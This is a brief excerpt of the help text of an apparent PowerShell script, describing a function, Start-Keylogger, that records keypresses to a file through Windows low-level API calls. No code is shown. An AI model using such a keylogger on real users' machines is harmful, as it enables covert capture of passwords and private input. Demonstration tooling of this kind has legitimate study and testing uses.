17    .DESCRIPTION
18        By accessing the Windows low-level API functions, a script can constantly
19        monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
20        Run the function Start-Keylogger to start logging key presses. Once you
21        stop the script by pressing CTRL+C, the collected key presses are displayed
